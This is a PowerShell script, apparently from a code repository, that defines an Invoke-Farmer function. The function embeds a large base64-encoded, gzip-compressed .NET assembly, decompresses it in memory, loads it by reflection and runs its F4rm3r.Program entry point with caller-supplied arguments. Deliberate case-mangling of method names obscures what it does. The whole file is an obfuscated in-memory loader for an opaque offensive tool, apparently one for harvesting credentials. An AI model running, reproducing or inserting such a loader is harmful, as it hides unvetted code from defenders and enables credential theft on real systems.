Files
2021-11-05 11:14:42 +01:00

29 lines
8.3 KiB
PowerShell

function Invoke-Farmer
{
[CmdletBinding()]
Param (
[String]
$Command = ""
)
$a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("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"))
$decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
$output = New-Object System.IO.MemoryStream
$decompressed.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()
$RAS = [System.Reflection.Assembly]::Load($byteOutArray)
$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)
[F4rm3r.Program]::main($Command.Split(" "))
[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results
}